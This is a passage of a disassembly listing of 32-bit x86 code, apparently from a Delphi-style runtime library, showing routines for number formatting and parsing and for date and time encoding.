; ---------------------------------------------------------------------------


loc_40008958:				; CODE XREF: sub_40008909+36j
		mov	al, 30h
		rep stosb


loc_4000895C:				; CODE XREF: sub_40008909+3Ej
					; sub_40008909+4Aj
		or	edx, edx
		jz	short locret_40008964
		xor	eax, eax
		jmp	short loc_40008982
; ---------------------------------------------------------------------------

locret_40008964:			; CODE XREF: sub_40008909+1Fj
					; sub_40008909+55j
		retn
; ---------------------------------------------------------------------------


loc_40008965:				; DATA XREF: .text:400088E0o
		call	sub_400088FF
		call	sub_400088F6
		mov	ah, [ebp-5]
		stosw
		mov	ecx, [ebp+0Ch]
		dec	ecx


loc_40008978:				; CODE XREF: sub_40008909+75j
		call	sub_400088F6
		stosb
		loop	loc_40008978
		mov	ah, 2Bh


loc_40008982:				; CODE XREF: sub_40008909+59j
		mov	ecx, [ebp+8]
		cmp	ecx, 4
		jbe	short loc_4000898C
		xor	ecx, ecx


loc_4000898C:				; CODE XREF: sub_40008909+7Fj
		mov	al, 45h
		mov	bl, [ebp-29h]
		movsx	edx, word ptr [ebp-2Ch]
		dec	edx
		call	sub_400087BC
		retn
sub_40008909	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000899C	proc near		; DATA XREF: .text:400088E4o
					; .text:400088E8o
		call	sub_400088FF


loc_400089A1:				; CODE XREF: sub_40008A06:loc_40008A4Fp
		mov	edx, [ebp+8]
		cmp	edx, 12h
		jb	short loc_400089AE
		mov	edx, 12h


loc_400089AE:				; CODE XREF: sub_4000899C+Bj
		movsx	ecx, word ptr [ebp-2Ch]
		or	ecx, ecx
		jg	short loc_400089BB
		mov	al, 30h
		stosb
		jmp	short loc_400089E5
; ---------------------------------------------------------------------------


loc_400089BB:				; CODE XREF: sub_4000899C+18j
		xor	ebx, ebx
		cmp	byte ptr [ebp+10h], 2
		jz	short loc_400089CD
		mov	eax, ecx
		dec	eax
		mov	bl, 3
		div	bl
		mov	bl, ah
		inc	ebx


loc_400089CD:				; CODE XREF: sub_4000899C+25j
					; sub_4000899C+3Bj ...
		call	sub_400088F6
		stosb
		dec	ecx
		jz	short loc_400089E5
		dec	ebx
		jnz	short loc_400089CD
		mov	al, [ebp-6]
		test	al, al
		jz	short loc_400089CD
		stosb
		mov	bl, 3
		jmp	short loc_400089CD
; ---------------------------------------------------------------------------


loc_400089E5:				; CODE XREF: sub_4000899C+1Dj
					; sub_4000899C+38j
		or	edx, edx
		jz	short locret_40008A05
		mov	al, [ebp-5]
		test	al, al
		jz	short loc_400089F1
		stosb


loc_400089F1:				; CODE XREF: sub_4000899C+52j
		jecxz	short loc_400089FC
		mov	al, 30h


loc_400089F5:				; CODE XREF: sub_4000899C+5Ej
		stosb
		dec	edx
		jz	short locret_40008A05
		inc	ecx
		jnz	short loc_400089F5


loc_400089FC:				; CODE XREF: sub_4000899C:loc_400089F1j
					; sub_4000899C+67j
		call	sub_400088F6
		stosb
		dec	edx
		jnz	short loc_400089FC

locret_40008A05:			; CODE XREF: sub_4000899C+4Bj
					; sub_4000899C+5Bj
		retn
sub_4000899C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40008A06	proc near		; DATA XREF: .text:400088ECo
		xor	ebx, ebx
		mov	bl, [ebp-0Dh]
		mov	ecx, 3
		cmp	byte ptr [ebp-2Ah], 0
		jz	short loc_40008A1E
		mov	bl, [ebp-0Eh]
		mov	ecx, 40Fh


loc_40008A1E:				; CODE XREF: sub_40008A06+Ej
		cmp	bl, cl
		jbe	short loc_40008A24
		mov	bl, cl


loc_40008A24:				; CODE XREF: sub_40008A06+1Aj
		add	bl, ch
		lea	ebx, dword_40008A69[ebx+ebx*4]
		add	ebx, [ebp-14h]
		mov	ecx, 5


loc_40008A35:				; CODE XREF: sub_40008A06+51j
		mov	al, [ebx]
		cmp	al, 40h
		jz	short locret_40008A59
		push	ecx
		push	ebx
		cmp	al, 24h
		jz	short loc_40008A48
		cmp	al, 2Ah
		jz	short loc_40008A4F
		stosb
		jmp	short loc_40008A54
; ---------------------------------------------------------------------------


loc_40008A48:				; CODE XREF: sub_40008A06+39j
		call	sub_40008A5A
		jmp	short loc_40008A54
; ---------------------------------------------------------------------------


loc_40008A4F:				; CODE XREF: sub_40008A06+3Dj
		call	loc_400089A1


loc_40008A54:				; CODE XREF: sub_40008A06+40j
					; sub_40008A06+47j
		pop	ebx
		pop	ecx
		inc	ebx
		loop	loc_40008A35

locret_40008A59:			; CODE XREF: sub_40008A06+33j
		retn
sub_40008A06	endp


; =============== S U B	R O U T	I N E =======================================



sub_40008A5A	proc near		; CODE XREF: sub_40008A06:loc_40008A48p
		push	esi
		mov	esi, [ebp-0Ch]
		test	esi, esi
		jz	short loc_40008A67
		mov	ecx, [esi-4]
		rep movsb


loc_40008A67:				; CODE XREF: sub_40008A5A+6j
		pop	esi
		retn
sub_40008A5A	endp

; ---------------------------------------------------------------------------
dword_40008A69	dd 40402A24h	; ---------------------------------------------------------------------------
		inc	eax
		sub	ah, [eax+eax*2]
		inc	eax
		inc	eax
		and	al, 20h
		sub	al, [eax+40h]
		sub	ah, [eax]
		and	al, 40h
		inc	eax
		sub	[edx+ebp], ah
		sub	[eax+2Dh], eax
		and	al, 2Ah
		inc	eax
		inc	eax
		and	al, 2Dh
		sub	al, [eax+40h]
		and	al, 2Ah
		sub	eax, 2A284040h
		and	al, 29h
		inc	eax
		sub	eax, 4040242Ah
		sub	ch, ds:2A404024h
		and	al, 2Dh
		inc	eax
		inc	eax
		sub	eax, 4024202Ah
		sub	eax, 402A2024h
		sub	ah, [eax]
		and	al, 2Dh
		inc	eax
		and	al, 20h
		sub	ch, ds:2D202440h
		sub	al, [eax+2Ah]
		sub	eax, 28402420h
		and	al, 20h
		sub	ch, [ecx]
		sub	[edx], ch
		and	[ecx+ebp], ah
; START	OF FUNCTION CHUNK FOR sub_40008800


loc_40008ACD:				; CODE XREF: sub_40008800+D7j
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_40008800
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40008AD4	proc near		; CODE XREF: sub_40008800+72p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 40008CF7 SIZE 00000009 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		push	edi
		push	esi
		push	ebx
		mov	ebx, eax
		mov	esi, edx
		mov	[ebp+var_4], 0
		cmp	cl, 0
		jz	short loc_40008AF7
		call	sub_40008C23
		jmp	loc_40008CF7
; ---------------------------------------------------------------------------


loc_40008AF7:				; CODE XREF: sub_40008AD4+17j
		call	sub_40008B01
		jmp	loc_40008CF7
sub_40008AD4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40008B01	proc near		; CODE XREF: sub_40008AD4:loc_40008AF7p
		mov	ax, [esi+8]
		mov	edx, eax
		and	eax, 7FFFh
		jz	short loc_40008B2C
		cmp	eax, 7FFFh
		jnz	short loc_40008B37
		test	word ptr [esi+6], 8000h
		jz	short loc_40008B2E
		cmp	dword ptr [esi], 0
		jnz	short loc_40008B2B
		cmp	dword ptr [esi+4], 80000000h
		jz	short loc_40008B2E


loc_40008B2B:				; CODE XREF: sub_40008B01+1Fj
		inc	eax


loc_40008B2C:				; CODE XREF: sub_40008B01+Bj
					; sub_40008B01+AFj
		xor	edx, edx


loc_40008B2E:				; CODE XREF: sub_40008B01+1Aj
					; sub_40008B01+28j
		mov	byte ptr [ebx+3], 0
		jmp	loc_40008C04
; ---------------------------------------------------------------------------


loc_40008B37:				; CODE XREF: sub_40008B01+12j
		fld	tbyte ptr [esi]
		sub	eax, 3FFFh
		imul	eax, 4D10h
		sar	eax, 10h
		inc	eax
		mov	[ebp-8], eax
		mov	eax, 12h
		sub	eax, [ebp-8]
		fabs
		push	ebx
		mov	ebx, [ebp-4]
		call	sub_40003870
		pop	ebx
		frndint
		mov	edi, [ebp-4]
		fld	tbyte_4001A864[edi]
		fcomp	st(1)
		fstsw	word ptr [ebp-0Ah]
		wait
		test	word ptr [ebp-0Ah], 4100h
		jz	short loc_40008B82
		fidiv	flt_4001A870[edi]
		inc	dword ptr [ebp-8]


loc_40008B82:				; CODE XREF: sub_40008B01+76j
		fbstp	tbyte ptr [ebp-18h]
		lea	edi, [ebx+3]
		mov	edx, 9
		wait


loc_40008B8E:				; CODE XREF: sub_40008B01+A0j
		mov	al, [edx+ebp-19h]
		mov	ah, al
		shr	al, 4
		and	ah, 0Fh
		add	ax, 3030h
		stosw
		dec	edx
		jnz	short loc_40008B8E
		xor	al, al
		stosb
		mov	edi, [ebp-8]
		add	edi, [ebp+8]
		jns	short loc_40008BB5
		xor	eax, eax
		jmp	loc_40008B2C
; ---------------------------------------------------------------------------


loc_40008BB5:				; CODE XREF: sub_40008B01+ABj
		cmp	edi, [ebp+0Ch]
		jb	short loc_40008BBD
		mov	edi, [ebp+0Ch]


loc_40008BBD:				; CODE XREF: sub_40008B01+B7j
		cmp	edi, 12h
		jnb	short loc_40008BE9
		cmp	byte ptr [ebx+edi+3], 35h
		jb	short loc_40008BEE


loc_40008BC9:				; CODE XREF: sub_40008B01+D9j
		mov	byte ptr [ebx+edi+3], 0
		dec	edi
		js	short loc_40008BDE
		inc	byte ptr [ebx+edi+3]
		cmp	byte ptr [ebx+edi+3], 39h
		ja	short loc_40008BC9
		jmp	short loc_40008BFD
; ---------------------------------------------------------------------------


loc_40008BDE:				; CODE XREF: sub_40008B01+CEj
		mov	word ptr [ebx+3], 31h
		inc	dword ptr [ebp-8]
		jmp	short loc_40008BFD
; ---------------------------------------------------------------------------


loc_40008BE9:				; CODE XREF: sub_40008B01+BFj
		mov	edi, 12h


loc_40008BEE:				; CODE XREF: sub_40008B01+C6j
					; sub_40008B01+FAj
		mov	byte ptr [ebx+edi+3], 0
		dec	edi
		js	short loc_40008C0F
		cmp	byte ptr [ebx+edi+3], 30h
		jz	short loc_40008BEE


loc_40008BFD:				; CODE XREF: sub_40008B01+DBj
					; sub_40008B01+E6j
		mov	dx, [esi+8]


loc_40008C01:				; CODE XREF: sub_40008B01+110j
		mov	eax, [ebp-8]


loc_40008C04:				; CODE XREF: sub_40008B01+31j
		shr	dx, 0Fh
		mov	[ebx], ax
		mov	[ebx+2], dl
		retn
; ---------------------------------------------------------------------------


loc_40008C0F:				; CODE XREF: sub_40008B01+F3j
					; DATA XREF: sub_40008C23+60r
		xor	edx, edx
		jmp	short loc_40008C01
sub_40008B01	endp

; ---------------------------------------------------------------------------
		db 0Ah
		dd 64000000h, 0E8000000h, 10000003h
		db 27h,	2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_40008C23	proc near		; CODE XREF: sub_40008AD4+19p
		mov	eax, [esi]
		mov	edx, [esi+4]
		mov	ecx, eax
		or	ecx, edx
		jz	loc_40008CE9
		or	edx, edx
		jns	short loc_40008C3D
		neg	edx
		neg	eax
		sbb	edx, 0


loc_40008C3D:				; CODE XREF: sub_40008C23+11j
		xor	ecx, ecx
		mov	edi, [ebp+8]
		or	edi, edi
		jge	short loc_40008C48
		xor	edi, edi


loc_40008C48:				; CODE XREF: sub_40008C23+21j
		cmp	edi, 4
		jl	short loc_40008C6C
		mov	edi, 4


loc_40008C52:				; CODE XREF: sub_40008C23+3Bj
		inc	ecx
		sub	eax, 0A7640000h
		sbb	edx, 0DE0B6B3h
		jnb	short loc_40008C52
		dec	ecx
		add	eax, 0A7640000h
		adc	edx, 0DE0B6B3h


loc_40008C6C:				; CODE XREF: sub_40008C23+28j
		mov	[ebp-20h], eax
		mov	[ebp-1Ch], edx
		fild	qword ptr [ebp-20h]
		mov	edx, edi
		mov	eax, 4
		sub	eax, edx
		jz	short loc_40008C8A
		mov	edi, [ebp-4]
		fidiv	dword ptr ds:loc_40008C0F[edi+eax*4]


loc_40008C8A:				; CODE XREF: sub_40008C23+5Bj
		fbstp	tbyte ptr [ebp-18h]
		lea	edi, [ebx+3]
		wait
		or	ecx, ecx
		jnz	short loc_40008CB0
		mov	ecx, 9


loc_40008C9A:				; CODE XREF: sub_40008C23+89j
		mov	al, [ecx+ebp-19h]
		mov	ah, al
		shr	al, 4
		jnz	short loc_40008CC3
		mov	al, ah
		and	al, 0Fh
		jnz	short loc_40008CCA
		dec	ecx
		jnz	short loc_40008C9A
		jmp	short loc_40008CE9
; ---------------------------------------------------------------------------


loc_40008CB0:				; CODE XREF: sub_40008C23+70j
		mov	al, cl
		add	al, 30h
		stosb
		mov	ecx, 9


loc_40008CBA:				; CODE XREF: sub_40008C23+ABj
		mov	al, [ecx+ebp-19h]
		mov	ah, al
		shr	al, 4


loc_40008CC3:				; CODE XREF: sub_40008C23+80j
		add	al, 30h
		stosb
		mov	al, ah
		and	al, 0Fh


loc_40008CCA:				; CODE XREF: sub_40008C23+86j
		add	al, 30h
		stosb
		dec	ecx
		jnz	short loc_40008CBA
		mov	eax, edi
		lea	ecx, [ebx+edx+3]
		sub	eax, ecx


loc_40008CD8:				; CODE XREF: sub_40008C23+BCj
		mov	byte ptr [edi],	0
		dec	edi
		cmp	byte ptr [edi],	30h
		jz	short loc_40008CD8
		mov	edx, [esi+4]
		shr	edx, 1Fh
		jmp	short loc_40008CF0
; ---------------------------------------------------------------------------


loc_40008CE9:				; CODE XREF: sub_40008C23+9j
					; sub_40008C23+8Bj
		xor	eax, eax
		xor	edx, edx
		mov	[ebx+3], al


loc_40008CF0:				; CODE XREF: sub_40008C23+C4j
		mov	[ebx], ax
		mov	[ebx+2], dl
		retn
sub_40008C23	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40008AD4


loc_40008CF7:				; CODE XREF: sub_40008AD4+1Ej
					; sub_40008AD4+28j
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	8
; END OF FUNCTION CHUNK	FOR sub_40008AD4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40008D00	proc near		; CODE XREF: sub_40008E74+11p
					; sub_40008E90+14p ...

var_8		= word ptr -8
var_5		= byte ptr -5
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 40008E0D SIZE 00000007 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	edi
		push	esi
		push	ebx
		mov	esi, eax
		mov	edi, edx
		mov	[ebp+var_4], 0
		mov	al, ds:byte_4001E80F
		mov	[ebp+var_5], al
		mov	ebx, ecx
		fstcw	[ebp+var_8]
		fclex
		fldcw	word_4001A874
		fldz
		call	sub_40008DB7
		mov	bh, [esi]
		cmp	bh, 2Bh
		jz	short loc_40008D3E
		cmp	bh, 2Dh
		jnz	short loc_40008D3F


loc_40008D3E:				; CODE XREF: sub_40008D00+37j
		inc	esi


loc_40008D3F:				; CODE XREF: sub_40008D00+3Cj
		mov	ecx, esi
		call	sub_40008DC2
		xor	edx, edx
		mov	al, [esi]
		cmp	al, [ebp+var_5]
		jnz	short loc_40008D57
		inc	esi
		call	sub_40008DC2
		neg	edx


loc_40008D57:				; CODE XREF: sub_40008D00+4Dj
		cmp	ecx, esi
		jz	short loc_40008DAA
		mov	al, [esi]
		and	al, 0DFh
		cmp	al, 45h
		jnz	short loc_40008D6D
		inc	esi
		push	edx
		call	sub_40008DDE
		pop	eax
		add	edx, eax


loc_40008D6D:				; CODE XREF: sub_40008D00+61j
		call	sub_40008DB7
		cmp	byte ptr [esi],	0
		jnz	short loc_40008DAA
		mov	eax, edx
		cmp	bl, 1
		jnz	short loc_40008D81
		add	eax, 4


loc_40008D81:				; CODE XREF: sub_40008D00+7Cj
		push	ebx
		mov	ebx, [ebp+var_4]
		call	sub_40003870
		pop	ebx
		cmp	bh, 2Dh
		jnz	short loc_40008D92
		fchs


loc_40008D92:				; CODE XREF: sub_40008D00+8Ej
		cmp	bl, 0
		jz	short loc_40008D9B
		fistp	qword ptr [edi]
		jmp	short loc_40008D9D
; ---------------------------------------------------------------------------


loc_40008D9B:				; CODE XREF: sub_40008D00+95j
		fstp	tbyte ptr [edi]


loc_40008D9D:				; CODE XREF: sub_40008D00+99j
		fstsw	ax
		test	ax, 9
		jnz	short loc_40008DAC
		mov	al, 1
		jmp	short loc_40008DAE
; ---------------------------------------------------------------------------


loc_40008DAA:				; CODE XREF: sub_40008D00+59j
					; sub_40008D00+75j
		fstp	st


loc_40008DAC:				; CODE XREF: sub_40008D00+A4j
		xor	eax, eax


loc_40008DAE:				; CODE XREF: sub_40008D00+A8j
		fclex
		fldcw	[ebp+var_8]
		wait
		jmp	short loc_40008E0D
sub_40008D00	endp


; =============== S U B	R O U T	I N E =======================================



sub_40008DB7	proc near		; CODE XREF: sub_40008D00+2Dp
					; sub_40008D00:loc_40008D6Dp ...
		lodsb
		or	al, al
		jz	short loc_40008DC0
		cmp	al, 20h
		jz	short sub_40008DB7


loc_40008DC0:				; CODE XREF: sub_40008DB7+3j
		dec	esi
		retn
sub_40008DB7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40008DC2	proc near		; CODE XREF: sub_40008D00+41p
					; sub_40008D00+50p
		xor	eax, eax
		xor	edx, edx


loc_40008DC6:				; CODE XREF: sub_40008DC2+18j
		lodsb
		sub	al, 3Ah
		add	al, 0Ah
		jnb	short loc_40008DDC
		fimul	flt_4001A870
		mov	[ebp-0Ch], eax
		fiadd	dword ptr [ebp-0Ch]
		inc	edx
		jmp	short loc_40008DC6
; ---------------------------------------------------------------------------


loc_40008DDC:				; CODE XREF: sub_40008DC2+9j
		dec	esi
		retn
sub_40008DC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_40008DDE	proc near		; CODE XREF: sub_40008D00+65p
		xor	eax, eax
		xor	edx, edx
		mov	cl, [esi]
		cmp	cl, 2Bh
		jz	short loc_40008DEE
		cmp	cl, 2Dh
		jnz	short loc_40008DEF


loc_40008DEE:				; CODE XREF: sub_40008DDE+9j
		inc	esi


loc_40008DEF:				; CODE XREF: sub_40008DDE+Ej
					; sub_40008DDE+25j
		mov	al, [esi]
		sub	al, 3Ah
		add	al, 0Ah
		jnb	short loc_40008E05
		inc	esi
		imul	edx, 0Ah
		add	edx, eax
		cmp	edx, 1F4h
		jb	short loc_40008DEF


loc_40008E05:				; CODE XREF: sub_40008DDE+17j
		cmp	cl, 2Dh
		jnz	short locret_40008E0C
		neg	edx

locret_40008E0C:			; CODE XREF: sub_40008DDE+2Aj
		retn
sub_40008DDE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40008D00


loc_40008E0D:				; CODE XREF: sub_40008D00+B5j
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_40008D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40008E14	proc near		; CODE XREF: sub_400116DC+104p
					; sub_400116DC+125p ...

var_40		= byte ptr -40h
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFC0h
		push	ebx
		mov	ebx, eax
		push	0
		push	0Fh
		push	0
		lea	edx, [ebp+arg_0]
		lea	eax, [ebp+var_40]
		xor	ecx, ecx
		call	sub_40008800
		mov	ecx, eax
		lea	edx, [ebp+var_40]
		mov	eax, ebx
		call	sub_40004974
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_40008E14	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40008E44	proc near		; CODE XREF: sub_4000D0E8+38p

var_40		= byte ptr -40h
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFC0h
		push	ebx
		mov	ebx, eax
		push	0
		push	0
		push	0
		lea	edx, [ebp+arg_0]
		lea	eax, [ebp+var_40]
		mov	cl, 1
		call	sub_40008800
		mov	ecx, eax
		lea	edx, [ebp+var_40]
		mov	eax, ebx
		call	sub_40004974
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40008E44	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40008E74	proc near		; CODE XREF: sub_40007F40+12p
					; sub_400101AC+66p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40004D48
		mov	edx, esi
		xor	ecx, ecx
		call	sub_40008D00
		pop	esi
		pop	ebx
		retn
sub_40008E74	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40008E90	proc near		; CODE XREF: sub_4000CF24+35p
					; sub_40010874+83p

var_14		= tbyte	ptr -14h

		push	ebx
		push	esi
		add	esp, 0FFFFFFF4h
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40004D48
		mov	edx, esp
		xor	ecx, ecx
		call	sub_40008D00
		test	al, al
		jz	short loc_40008EB3
		fld	[esp+14h+var_14]
		fstp	qword ptr [esi]
		wait


loc_40008EB3:				; CODE XREF: sub_40008E90+1Bj
		add	esp, 0Ch
		pop	esi
		pop	ebx
		retn
sub_40008E90	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40008EBC	proc near		; CODE XREF: sub_4000CEB8+35p

var_14		= tbyte	ptr -14h

		push	ebx
		push	esi
		add	esp, 0FFFFFFF4h
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40004D48
		mov	edx, esp
		xor	ecx, ecx
		call	sub_40008D00
		test	al, al
		jz	short loc_40008EDF
		fld	[esp+14h+var_14]
		fstp	dword ptr [esi]
		wait


loc_40008EDF:				; CODE XREF: sub_40008EBC+1Bj
		add	esp, 0Ch
		pop	esi
		pop	ebx
		retn
sub_40008EBC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40008EE8	proc near		; CODE XREF: sub_4000CFFC+35p
					; sub_40010E0C+66p
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40004D48
		mov	edx, esi
		mov	cl, 1
		call	sub_40008D00
		pop	esi
		pop	ebx
		retn
sub_40008EE8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40008F04(double)

sub_40008F04	proc near		; CODE XREF: sub_40008FB8+1Cp
					; sub_4000911C+1Dp ...

var_C		= qword	ptr -0Ch
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		mov	ecx, eax
		fld	[ebp+arg_0]
		fmul	flt_4001A878[ebx]
		sub	esp, 8
		fistp	[esp+0Ch+var_C]
		wait
		pop	eax
		pop	edx
		or	edx, edx
		jns	short loc_40008F33
		neg	edx
		neg	eax
		sbb	edx, 0
		div	dword_4001A87C[ebx]
		neg	eax
		jmp	short loc_40008F39
; ---------------------------------------------------------------------------


loc_40008F33:				; CODE XREF: sub_40008F04+1Cj
		div	dword_4001A87C[ebx]


loc_40008F39:				; CODE XREF: sub_40008F04+2Dj
		add	eax, 0A955Ah
		mov	[ecx], edx
		mov	[ecx+4], eax
		pop	ebx
		pop	ebp
		retn	8
sub_40008F04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40008F48	proc near		; CODE XREF: sub_4000A518+1CEp

var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	esi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_1], 0
		cmp	ax, 18h
		jnb	short loc_40008FA9
		cmp	dx, 3Ch
		jnb	short loc_40008FA9
		cmp	cx, 3Ch
		jnb	short loc_40008FA9
		cmp	si, 3E8h
		jnb	short loc_40008FA9
		movzx	eax, ax
		imul	eax, 36EE80h
		movzx	edx, dx
		imul	edx, 0EA60h
		add	eax, edx
		movzx	edx, cx
		imul	edx, 3E8h
		add	eax, edx
		movzx	edx, si
		add	eax, edx
		mov	[ebp+var_8], eax
		fild	[ebp+var_8]
		fdiv	ds:flt_40008FB4
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax]
		wait
		mov	[ebp+var_1], 1


loc_40008FA9:				; CODE XREF: sub_40008F48+12j
					; sub_40008F48+18j ...
		movzx	eax, [ebp+var_1]
		pop	esi
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_40008F48	endp

; ---------------------------------------------------------------------------
flt_40008FB4	dd 8.64e7		; DATA XREF: sub_40008F48+51r

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_40008FB8(int,double)

sub_40008FB8	proc near		; CODE XREF: sub_400093D4+31p

var_C		= dword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= qword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	dword ptr [ebp+arg_4+4]
		push	dword ptr [ebp+arg_4] ;	double
		lea	eax, [ebp+var_C]
		call	sub_40008F04
		mov	eax, [ebp+var_C]
		lea	ecx, [ebp+var_2]
		mov	dx, 0EA60h
		call	sub_4000797C
		push	esi
		mov	ecx, ebx
		movzx	eax, [ebp+var_2]
		mov	dx, 3Ch
		call	sub_4000797C
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, edi
		movzx	eax, [ebp+var_4]
		mov	dx, 3E8h
		call	sub_4000797C
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_40008FB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40009014	proc near		; CODE XREF: sub_40009050+19p
					; sub_4000911C+EFp
		push	ebx
		push	esi
		mov	ecx, eax
		movzx	eax, cx
		and	eax, 3
		test	eax, eax
		jnz	short loc_40009043
		movzx	ebx, cx
		mov	eax, ebx
		mov	esi, 64h
		xor	edx, edx
		div	esi
		test	edx, edx
		jnz	short loc_40009048
		mov	eax, ebx
		mov	ecx, 190h
		xor	edx, edx
		div	ecx
		test	edx, edx
		jz	short loc_40009048


loc_40009043:				; CODE XREF: sub_40009014+Cj
		xor	eax, eax
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_40009048:				; CODE XREF: sub_40009014+1Ej
					; sub_40009014+2Dj
		mov	al, 1
		pop	esi
		pop	ebx
		retn
sub_40009014	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40009050	proc near		; CODE XREF: sub_4000A1CC+2F7p

var_8		= dword	ptr -8
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		mov	edi, edx
		mov	[ebp+var_2], ax
		mov	[ebp+var_3], 0
		movzx	eax, [ebp+var_2]
		call	sub_40009014
		and	eax, 7Fh
		lea	eax, [eax+eax*2]
		lea	esi, dword_4001A7FC[eax*8]
		cmp	[ebp+var_2], 1
		jb	loc_4000910C
		cmp	[ebp+var_2], 270Fh
		ja	short loc_4000910C
		cmp	di, 1
		jb	short loc_4000910C
		cmp	di, 0Ch
		ja	short loc_4000910C
		cmp	bx, 1
		jb	short loc_4000910C
		movzx	eax, di
		cmp	bx, [esi+eax*2-2]
		ja	short loc_4000910C
		movzx	eax, di
		dec	eax
		test	eax, eax
		jle	short loc_400090C0
		mov	ecx, 1


loc_400090B7:				; CODE XREF: sub_40009050+6Ej
		add	bx, [esi+ecx*2-2]
		inc	ecx
		dec	eax
		jnz	short loc_400090B7


loc_400090C0:				; CODE XREF: sub_40009050+60j
		movzx	ecx, [ebp+var_2]
		dec	ecx
		mov	eax, ecx
		mov	esi, 64h
		cdq
		idiv	esi
		imul	esi, ecx, 16Dh
		mov	edx, ecx
		test	edx, edx
		jns	short loc_400090DE
		add	edx, 3


loc_400090DE:				; CODE XREF: sub_40009050+89j
		sar	edx, 2
		add	esi, edx
		sub	esi, eax
		mov	eax, ecx
		mov	ecx, 190h
		cdq
		idiv	ecx
		add	esi, eax
		movzx	eax, bx
		add	esi, eax
		sub	esi, 0A955Ah
		mov	[ebp+var_8], esi
		fild	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax]
		wait
		mov	[ebp+var_3], 1


loc_4000910C:				; CODE XREF: sub_40009050+30j
					; sub_40009050+3Cj ...
		movzx	eax, [ebp+var_3]
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	4
sub_40009050	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_4000911C(int,double)

sub_4000911C	proc near		; CODE XREF: sub_40009268+13p

var_18		= byte ptr -18h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= qword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		push	esi
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	ebx, [ebp+arg_0]
		push	dword ptr [ebp+arg_4+4]
		push	dword ptr [ebp+arg_4] ;	double
		lea	eax, [ebp+var_18]
		call	sub_40008F04
		mov	ecx, [ebp+var_14]
